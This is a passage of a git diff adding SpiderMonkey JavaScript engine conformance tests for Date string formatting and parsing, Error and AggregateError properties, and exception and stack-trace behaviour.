+assertEq(desc.enumerable, false);
+assertEq(desc.writable, false);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/Date/toString-generic.js b/js/src/tests/non262/Date/toString-generic.js
new file mode 100644
index 0000000000..1e1c1fee93
--- /dev/null
+++ b/js/src/tests/non262/Date/toString-generic.js
@@ -0,0 +1,15 @@
+var BUGNUMBER = 861219;
+var summary = 'Date.prototype.toString is a generic function';
+
+// Revised in ECMA 2018, Date.prototype.toString is no longer generic (bug 1381433).
+
+print(BUGNUMBER + ": " + summary);
+
+for (var thisValue of [{}, [], /foo/, Date.prototype, new Proxy(new Date(), {})])
+ assertThrowsInstanceOf(() => Date.prototype.toString.call(thisValue), TypeError);
+
+for (var prim of [null, undefined, 0, 1.2, true, false, "foo", Symbol.iterator])
+ assertThrowsInstanceOf(() => Date.prototype.toString.call(prim), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/toString-localized-posix.js b/js/src/tests/non262/Date/toString-localized-posix.js
new file mode 100644
index 0000000000..b7bcde89ea
--- /dev/null
+++ b/js/src/tests/non262/Date/toString-localized-posix.js
@@ -0,0 +1,71 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")) -- Requires ICU time zone support
+
+// Date.prototype.toString includes a localized time zone name comment.
+
+// Repeats the test from "toString-localized.js", but uses POSIX instead of IANA
+// names for the time zones. This allows to run these tests on Windows, too.
+
+inTimeZone("PST8PDT", () => {
+ let dt = new Date(2018, Month.July, 14);
+
+ withLocale("en", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT-0700 (Pacific Daylight Time)");
+ });
+ withLocale("fr", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT-0700 (heure d’été du Pacifique)");
+ });
+ withLocale("de", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT-0700 (Nordamerikanische Westküsten-Sommerzeit)");
+ });
+ withLocale("ar", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT-0700 (توقيت المحيط الهادي الصيفي)");
+ });
+ withLocale("zh", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT-0700 (北美太平洋夏令时间)");
+ });
+});
+
+for (let tz of ["UTC", "UCT"]) {
+ inTimeZone(tz, () => {
+ let dt = new Date(2018, Month.July, 14);
+
+ withLocale("en", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (Coordinated Universal Time)");
+ });
+ withLocale("fr", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (Temps universel coordonné)");
+ });
+ withLocale("de", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (Koordinierte Weltzeit)");
+ });
+ withLocale("ar", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (التوقيت العالمي المنسق)");
+ });
+ withLocale("zh", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (协调世界时)");
+ });
+ });
+}
+
+inTimeZone("GMT", () => {
+ let dt = new Date(2018, Month.July, 14);
+
+ withLocale("en", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (Greenwich Mean Time)");
+ });
+ withLocale("fr", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (heure moyenne de Greenwich)");
+ });
+ withLocale("de", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (Mittlere Greenwich-Zeit)");
+ });
+ withLocale("ar", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (توقيت غرينتش)");
+ });
+ withLocale("zh", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (格林尼治标准时间)");
+ });
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/toString-localized.js b/js/src/tests/non262/Date/toString-localized.js
new file mode 100644
index 0000000000..433fb5c443
--- /dev/null
+++ b/js/src/tests/non262/Date/toString-localized.js
@@ -0,0 +1,90 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT"||!this.hasOwnProperty("Intl")) -- Windows doesn't accept IANA names for the TZ env variable; Requires ICU time zone support
+
+// Date.prototype.toString includes a localized time zone name comment.
+
+inTimeZone("Europe/Paris", () => {
+ let dt = new Date(2018, Month.July, 14);
+
+ withLocale("en", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0200 (Central European Summer Time)");
+ });
+ withLocale("fr", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0200 (heure d’été d’Europe centrale)");
+ });
+ withLocale("de", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0200 (Mitteleuropäische Sommerzeit)");
+ });
+ withLocale("ar", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0200 (توقيت وسط أوروبا الصيفي)");
+ });
+ withLocale("zh", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0200 (中欧夏令时间)");
+ });
+});
+
+inTimeZone("America/Los_Angeles", () => {
+ let dt = new Date(2018, Month.July, 14);
+
+ withLocale("en", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT-0700 (Pacific Daylight Time)");
+ });
+ withLocale("fr", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT-0700 (heure d’été du Pacifique)");
+ });
+ withLocale("de", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT-0700 (Nordamerikanische Westküsten-Sommerzeit)");
+ });
+ withLocale("ar", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT-0700 (توقيت المحيط الهادي الصيفي)");
+ });
+ withLocale("zh", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT-0700 (北美太平洋夏令时间)");
+ });
+});
+
+for (let tz of ["UTC", "UCT", "Zulu", "Universal", "Etc/UTC", "Etc/UCT", "Etc/Zulu", "Etc/Universal"]) {
+ inTimeZone(tz, () => {
+ let dt = new Date(2018, Month.July, 14);
+
+ withLocale("en", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (Coordinated Universal Time)");
+ });
+ withLocale("fr", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (Temps universel coordonné)");
+ });
+ withLocale("de", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (Koordinierte Weltzeit)");
+ });
+ withLocale("ar", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (التوقيت العالمي المنسق)");
+ });
+ withLocale("zh", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (协调世界时)");
+ });
+ });
+}
+
+for (let tz of ["GMT", "Etc/GMT"]) {
+ inTimeZone(tz, () => {
+ let dt = new Date(2018, Month.July, 14);
+
+ withLocale("en", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (Greenwich Mean Time)");
+ });
+ withLocale("fr", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (heure moyenne de Greenwich)");
+ });
+ withLocale("de", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (Mittlere Greenwich-Zeit)");
+ });
+ withLocale("ar", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (توقيت غرينتش)");
+ });
+ withLocale("zh", () => {
+ assertDateTime(dt, "Sat Jul 14 2018 00:00:00 GMT+0000 (格林尼治标准时间)");
+ });
+ });
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/two-digit-years.js b/js/src/tests/non262/Date/two-digit-years.js
new file mode 100644
index 0000000000..80cbc2ecef
--- /dev/null
+++ b/js/src/tests/non262/Date/two-digit-years.js
@@ -0,0 +1,71 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommonn.org/licenses/publicdomain/
+ */
+
+/*
+ * For the sake of cross compatibility with other implementations we
+ * implement date parsing heuristics which support single and double
+ * digit years. See bug: 1265136
+ */
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+for (let year of Array(100).keys()) {
+ for (let month of Array(12).keys()) {
+ for (let day of Array(31).keys()) {
+ let fullYear = year >= 50 ? year + 1900 : year + 2000;
+ let fullDate = new Date(`${month + 1}/${day + 1}/${fullYear}`);
+
+ // mm/dd/yy
+ let d1 = new Date(`${month + 1}/${day + 1}/${year}`);
+ assertEq(d1.getTime(), fullDate.getTime())
+
+ // yy/mm/dd
+ let d2 = new Date(`${year}/${month + 1}/${day + 1}`);
+ if (year > 31) {
+ assertEq(d2.getTime(), fullDate.getTime())
+ } else if (year > 12) {
+ assertEq(d2.getTime(), new Date(NaN).getTime())
+ }
+ }
+ }
+}
+
+assertEq(new Date("99/1/99").getTime(), new Date(NaN).getTime());
+assertEq(new Date("13/13/13").getTime(), new Date(NaN).getTime());
+assertEq(new Date("0/10/0").getTime(), new Date(NaN).getTime());
+
+// Written months.
+for (let year of Array(1000).keys()) {
+ let fullDate = new Date(`5/1/${year}`);
+ let d1 = new Date(`may 1 ${year}`);
+ let d2 = new Date(`1 may ${year}`);
+ let d3 = new Date(`1 ${year} may`);
+
+ assertEq(d1.getTime(), fullDate.getTime())
+ assertEq(d2.getTime(), fullDate.getTime())
+ assertEq(d3.getTime(), fullDate.getTime())
+
+ if (year > 31) {
+ let d4 = new Date(`may ${year} 1`);
+ let d5 = new Date(`${year} may 1`);
+ let d6 = new Date(`${year} 1 may`);
+
+ assertEq(d4.getTime(), fullDate.getTime())
+ assertEq(d5.getTime(), fullDate.getTime())
+ assertEq(d6.getTime(), fullDate.getTime())
+ }
+}
+
+assertEq(new Date("may 1999 1999").getTime(), new Date(NaN).getTime());
+assertEq(new Date("may 0 0").getTime(), new Date(NaN).getTime());
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Error/AggregateError.js b/js/src/tests/non262/Error/AggregateError.js
new file mode 100644
index 0000000000..81cf04e9d1
--- /dev/null
+++ b/js/src/tests/non262/Error/AggregateError.js
@@ -0,0 +1,82 @@
+// |reftest| skip-if(release_or_beta)
+
+assertEq(typeof AggregateError, "function");
+assertEq(Object.getPrototypeOf(AggregateError), Error);
+assertEq(AggregateError.name, "AggregateError");
+assertEq(AggregateError.length, 2);
+
+assertEq(Object.getPrototypeOf(AggregateError.prototype), Error.prototype);
+assertEq(AggregateError.prototype.name, "AggregateError");
+assertEq(AggregateError.prototype.message, "");
+
+// The |errors| argument is mandatory.
+assertThrowsInstanceOf(() => new AggregateError(), TypeError);
+assertThrowsInstanceOf(() => AggregateError(), TypeError);
+
+// The .errors data property is an array object.
+{
+ let err = new AggregateError([]);
+
+ let {errors} = err;
+ assertEq(Array.isArray(errors), true);
+ assertEq(errors.length, 0);
+
+ // The errors object is modifiable.
+ errors.push(123);
+ assertEq(errors.length, 1);
+ assertEq(errors[0], 123);
+ assertEq(err.errors[0], 123);
+
+ // The property is writable.
+ err.errors = undefined;
+ assertEq(err.errors, undefined);
+}
+
+// The errors argument can be any iterable.
+{
+ function* g() { yield* [1, 2, 3]; }
+
+ let {errors} = new AggregateError(g());
+ assertEqArray(errors, [1, 2, 3]);
+}
+
+// The message property is populated by the second argument.
+{
+ let err;
+
+ err = new AggregateError([]);
+ assertEq(err.message, "");
+
+ err = new AggregateError([], "my message");
+ assertEq(err.message, "my message");
+}
+
+{
+ assertEq("errors" in AggregateError.prototype, false);
+
+ const {
+ configurable,
+ enumerable,
+ value,
+ writable
+ } = Object.getOwnPropertyDescriptor(new AggregateError([]), "errors");
+ assertEq(configurable, true);
+ assertEq(enumerable, false);
+ assertEq(writable, true);
+ assertEq(value.length, 0);
+
+ const g = newGlobal();
+
+ let obj = {};
+ let errors = new g.AggregateError([obj]).errors;
+
+ assertEq(errors.length, 1);
+ assertEq(errors[0], obj);
+
+ // The prototype is |g.Array.prototype| in the cross-compartment case.
+ let proto = Object.getPrototypeOf(errors);
+ assertEq(proto === g.Array.prototype, true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Error/browser.js b/js/src/tests/non262/Error/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Error/browser.js
diff --git a/js/src/tests/non262/Error/constructor-ordering.js b/js/src/tests/non262/Error/constructor-ordering.js
new file mode 100644
index 0000000000..dbcc2e6048
--- /dev/null
+++ b/js/src/tests/non262/Error/constructor-ordering.js
@@ -0,0 +1,17 @@
+var order = 0;
+function assertOrdering(ordering) {
+ assertEq(order, ordering);
+ order++;
+}
+
+// Spec mandates that the prototype is looked up /before/ we toString the
+// argument.
+var handler = { get() { assertOrdering(0); return Error.prototype } };
+var errorProxy = new Proxy(Error, handler);
+
+var toStringable = { toString() { assertOrdering(1); return "Argument"; } };
+
+new errorProxy(toStringable);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/Error/constructor-proto.js b/js/src/tests/non262/Error/constructor-proto.js
new file mode 100644
index 0000000000..4ddc6025e8
--- /dev/null
+++ b/js/src/tests/non262/Error/constructor-proto.js
@@ -0,0 +1,17 @@
+const nativeErrors = [
+ InternalError,
+ EvalError,
+ RangeError,
+ ReferenceError,
+ SyntaxError,
+ TypeError,
+ URIError
+];
+
+assertEq(Reflect.getPrototypeOf(Error), Function.prototype)
+
+for (const error of nativeErrors)
+ assertEq(Reflect.getPrototypeOf(error), Error);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Error/prototype-properties.js b/js/src/tests/non262/Error/prototype-properties.js
new file mode 100644
index 0000000000..16264bc56d
--- /dev/null
+++ b/js/src/tests/non262/Error/prototype-properties.js
@@ -0,0 +1,26 @@
+const nativeErrors = [
+ InternalError,
+ EvalError,
+ RangeError,
+ ReferenceError,
+ SyntaxError,
+ TypeError,
+ URIError
+];
+
+const expectedOwnKeys = "toSource" in Object.prototype
+ ? "toSource,toString,message,name,stack,constructor"
+ : "toString,message,name,stack,constructor";
+assertEq(Reflect.ownKeys(Error.prototype).toString(), expectedOwnKeys);
+assertEq(Error.prototype.name, "Error");
+assertEq(Error.prototype.message, "");
+
+for (const error of nativeErrors) {
+ assertEq(Reflect.ownKeys(error.prototype).toString(), "message,name,constructor");
+ assertEq(error.prototype.name, error.name);
+ assertEq(error.prototype.message, "");
+ assertEq(error.prototype.constructor, error);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Error/prototype.js b/js/src/tests/non262/Error/prototype.js
new file mode 100644
index 0000000000..b22a8e084b
--- /dev/null
+++ b/js/src/tests/non262/Error/prototype.js
@@ -0,0 +1,18 @@
+const nativeErrors = [
+ InternalError,
+ EvalError,
+ RangeError,
+ ReferenceError,
+ SyntaxError,
+ TypeError,
+ URIError
+];
+
+assertEq(Reflect.getPrototypeOf(Error.prototype), Object.prototype)
+
+for (const error of nativeErrors) {
+ assertEq(Reflect.getPrototypeOf(error.prototype), Error.prototype);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Error/regress-354246.js b/js/src/tests/non262/Error/regress-354246.js
new file mode 100644
index 0000000000..644bcba106
--- /dev/null
+++ b/js/src/tests/non262/Error/regress-354246.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 354246;
+var summary = 'calling Error constructor with object with bad toString';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '13';
+
+ actual += '1';
+ try
+ {
+ new Error({toString: function() { x.y } });
+ }
+ catch(e)
+ {
+ }
+ actual += '3';
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Error/regress-412324.js b/js/src/tests/non262/Error/regress-412324.js
new file mode 100644
index 0000000000..d9debaa896
--- /dev/null
+++ b/js/src/tests/non262/Error/regress-412324.js
@@ -0,0 +1,17 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 412324;
+var summary = 'Allow function Error(){} for the love of Pete';
+var actual = 'No Error';
+var expect = 'No Error';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function Error() {}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Error/regress-465377.js b/js/src/tests/non262/Error/regress-465377.js
new file mode 100644
index 0000000000..ea7be79f98
--- /dev/null
+++ b/js/src/tests/non262/Error/regress-465377.js
@@ -0,0 +1,78 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465377;
+var summary = 'instanceof relations between Error objects';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Exception';
+
+ try
+ {
+ var list = [
+ "Error",
+ "InternalError",
+ "EvalError",
+ "RangeError",
+ "ReferenceError",
+ "SyntaxError",
+ "TypeError",
+ "URIError"
+ ];
+ var instances = [];
+
+ for (var i = 0; i != list.length; ++i) {
+ var name = list[i];
+ var constructor = this[name];
+ var tmp = constructor.name;
+ if (tmp !== name)
+ throw "Bad value for "+name+".name: "+String(tmp);
+ instances[i] = new constructor();
+ }
+
+ for (var i = 0; i != instances.length; ++i) {
+ var instance = instances[i];
+ var name = instance.name;
+ var constructor = instance.constructor;
+ var tmp = constructor.name;
+ if (constructor !== this[name])
+ throw "Bad value of (new "+name+").constructor: "+String(tmp);
+ if (tmp !== name)
+ throw "Bad value for constructor.name: "+String(tmp);
+ if (!(instance instanceof Object))
+ throw "Bad instanceof Object for "+name;
+ if (!(instance instanceof Error))
+ throw "Bad instanceof Error for "+name;
+ if (!(instance instanceof constructor))
+ throw "Bad instanceof constructor for "+name;
+ if (instance instanceof Function)
+ throw "Bad instanceof Function for "+name;
+ for (var j = 1; j != instances.length; ++j) {
+ if (i != j && instance instanceof instances[j].constructor) {
+ throw "Unexpected (new "+name+") instanceof "+ instances[j].name;
+ }
+ }
+ }
+
+ print("OK");
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Error/shell.js b/js/src/tests/non262/Error/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Error/shell.js
diff --git a/js/src/tests/non262/Exceptions/browser.js b/js/src/tests/non262/Exceptions/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/browser.js
diff --git a/js/src/tests/non262/Exceptions/catchguard-002-n.js b/js/src/tests/non262/Exceptions/catchguard-002-n.js
new file mode 100644
index 0000000000..fa574389db
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/catchguard-002-n.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+DESCRIPTION = "var in catch clause should have caused an error.";
+
+var expect;
+var actual;
+
+test();
+
+function test()
+{
+ var EXCEPTION_DATA = "String exception";
+ var e;
+
+ printStatus ("Catchguard var declaration negative test.");
+
+ try
+ {
+ throw EXCEPTION_DATA;
+ }
+ catch (var e)
+ {
+ actual = e + '';
+ }
+
+ reportCompare(expect, actual, DESCRIPTION);
+}
diff --git a/js/src/tests/non262/Exceptions/catchguard-003-n.js b/js/src/tests/non262/Exceptions/catchguard-003-n.js
new file mode 100644
index 0000000000..a45b56adca
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/catchguard-003-n.js
@@ -0,0 +1,35 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+DESCRIPTION = "Illegally constructed catchguard should have thrown an exception.";
+
+var expect;
+var actual;
+
+test();
+
+function test()
+{
+ var EXCEPTION_DATA = "String exception";
+ var e;
+
+ printStatus ("Catchguard syntax negative test #2.");
+
+ try
+ {
+ throw EXCEPTION_DATA;
+ }
+ catch (e)
+ {
+ actual = e + ': 1';
+ }
+ catch (e) /* two non-guarded catch statements should generate an error */
+ {
+ actual = e + ': 2';
+ }
+
+ reportCompare(expect, actual, DESCRIPTION);
+}
diff --git a/js/src/tests/non262/Exceptions/error-expando-reconfigure.js b/js/src/tests/non262/Exceptions/error-expando-reconfigure.js
new file mode 100644
index 0000000000..c70ff5f853
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/error-expando-reconfigure.js
@@ -0,0 +1,28 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = "error-expando-reconfigure.js"
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 961494;
+var summary =
+ "Reconfiguring the first expando property added to an Error object " +
+ "shouldn't assert";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var err = new Error(); // no message argument => no err.message property
+err.expando = 17;
+Object.defineProperty(err, "expando", { configurable: false });
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Exceptions/error-property-enumerability.js b/js/src/tests/non262/Exceptions/error-property-enumerability.js
new file mode 100644
index 0000000000..c6674cfc57
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/error-property-enumerability.js
@@ -0,0 +1,30 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var errors = ["Error", "EvalError", "RangeError", "ReferenceError",
+ "SyntaxError", "TypeError", "URIError"];
+
+for (var i = 0; i < errors.length; i++) {
+ var error = this[errors[i]];
+
+ var desc = Object.getOwnPropertyDescriptor(error.prototype, "name");
+ assertEq(!!desc, true, errors[i] + ".prototype.name should exist");
+ assertEq((desc || {}).enumerable, false, errors[i] + ".prototype.name should not be enumerable");
+
+ desc = Object.getOwnPropertyDescriptor(error.prototype, "message");
+ assertEq(!!desc, true, errors[i] + ".prototype.message should exist");
+ assertEq((desc || {}).enumerable, false, errors[i] + ".prototype.message should not be enumerable");
+
+ var instance = new error;
+ desc = Object.getOwnPropertyDescriptor(instance, "message");
+ assertEq(!!desc, false, "new " + errors[i] + ".message should not exist");
+
+ instance = new error("a message");
+ desc = Object.getOwnPropertyDescriptor(instance, "message");
+ assertEq(!!desc, true, "new " + errors[i] + "(...).message should exist");
+ assertEq((desc || {}).enumerable, false, "new " + errors[i] + "(...).message should not be enumerable");
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/Exceptions/errstack-001.js b/js/src/tests/non262/Exceptions/errstack-001.js
new file mode 100644
index 0000000000..042e357fa6
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/errstack-001.js
@@ -0,0 +1,242 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 28 Feb 2002
+ * SUMMARY: Testing that Error.stack distinguishes between:
+ *
+ * A) top-level calls: myFunc();
+ * B) no-name function calls: function() { myFunc();} ()
+ *
+ * The stack frame for A) should begin with '@'
+ * The stack frame for B) should begin with '()'
+ *
+ * This behavior was coded by Brendan during his fix for bug 127136.
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=127136#c13
+ *
+ * Note: our function getStackFrames(err) orders the array of stack frames
+ * so that the 0th element will correspond to the highest frame, i.e. will
+ * correspond to a line in top-level code. The 1st element will correspond
+ * to the function that is called first, and so on...
+ *
+ * NOTE: At present Rhino does not have an Error.stack property. It is an
+ * ECMA extension, see http://bugzilla.mozilla.org/show_bug.cgi?id=123177
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing Error.stack';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+var myErr = '';
+var stackFrames = '';
+
+
+function A(x,y)
+{
+ return B(x+1,y+1);
+}
+
+function B(x,z)
+{
+ return C(x+1,z+1);
+}
+
+function C(x,y)
+{
+ return D(x+1,y+1);
+}
+
+function D(x,z)
+{
+ try
+ {
+ throw new Error('meep!');
+ }
+ catch (e)
+ {
+ return e;
+ }
+}
+
+
+myErr = A(44,13);
+stackFrames = getStackFrames(myErr);
+status = inSection(1);
+actual = stackFrames[0].substring(0,1);
+expect = '@';
+addThis();
+
+status = inSection(2);
+actual = stackFrames[1].substring(0,2);
+expect = 'A@';
+addThis();
+
+status = inSection(3);
+actual = stackFrames[2].substring(0,2);
+expect = 'B@';
+addThis();
+
+status = inSection(4);
+actual = stackFrames[3].substring(0,2);
+expect = 'C@';
+addThis();
+
+status = inSection(5);
+actual = stackFrames[4].substring(0,2);
+expect = 'D@';
+addThis();
+
+
+
+myErr = A('44:foo','13:bar');
+stackFrames = getStackFrames(myErr);
+status = inSection(6);
+actual = stackFrames[0].substring(0,1);
+expect = '@';
+addThis();
+
+status = inSection(7);
+actual = stackFrames[1].substring(0,2);
+expect = 'A@';
+addThis();
+
+status = inSection(8);
+actual = stackFrames[2].substring(0,2);
+expect = 'B@';
+addThis();
+
+status = inSection(9);
+actual = stackFrames[3].substring(0,2);
+expect = 'C@';
+addThis();
+
+status = inSection(10);
+actual = stackFrames[4].substring(0,2);
+expect = 'D@';;
+addThis();
+
+
+
+/*
+ * Make the first frame occur in a function with an empty name -
+ */
+myErr = function() { return A(44,13); } ();
+stackFrames = getStackFrames(myErr);
+status = inSection(11);
+actual = stackFrames[0].substring(0,1);
+expect = '@';
+addThis();
+
+status = inSection(12);
+actual = stackFrames[1].substring(0,7);
+expect = 'myErr<@';
+addThis();
+
+status = inSection(13);
+actual = stackFrames[2].substring(0,2);
+expect = 'A@';
+addThis();
+
+// etc. for the rest of the frames as above
+
+
+
+/*
+ * Make the first frame occur in a function with name 'anonymous' -
+ */
+var f = Function('return A(44,13);');
+myErr = f();
+stackFrames = getStackFrames(myErr);
+status = inSection(14);
+actual = stackFrames[0].substring(0,1);
+expect = '@';
+addThis();
+
+status = inSection(15);
+actual = stackFrames[1].substring(0,10);
+expect = 'anonymous@';
+addThis();
+
+status = inSection(16);
+actual = stackFrames[2].substring(0,2);
+expect = 'A@';
+addThis();
+
+// etc. for the rest of the frames as above
+
+
+
+/*
+ * Make a user-defined error via the Error() function -
+ */
+var message = 'Hi there!'; var fileName = 'file name'; var lineNumber = 0;
+myErr = Error(message, fileName, lineNumber);
+stackFrames = getStackFrames(myErr);
+status = inSection(17);
+actual = stackFrames[0].substring(0,1);
+expect = '@';
+addThis();
+
+
+/*
+ * Now use the |new| keyword. Re-use the same params -
+ */
+myErr = new Error(message, fileName, lineNumber);
+stackFrames = getStackFrames(myErr);
+status = inSection(18);
+actual = stackFrames[0].substring(0,1);
+expect = '@';
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+/*
+ * Split the string |err.stack| along its '\n' delimiter.
+ * As of 2002-02-28 |err.stack| ends with the delimiter, so
+ * the resulting array has an empty string as its last element.
+ *
+ * Pop that useless element off before doing anything.
+ * Then reverse the array, for convenience of indexing -
+ */
+function getStackFrames(err)
+{
+ var arr = err.stack.split('\n');
+ arr.pop();
+ return arr.reverse();
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Exceptions/regress-121658.js b/js/src/tests/non262/Exceptions/regress-121658.js
new file mode 100644
index 0000000000..f2ab6e860f
--- /dev/null
+++ b/js/src/tests/non262/Exceptions/regress-121658.js
@@ -0,0 +1,121 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
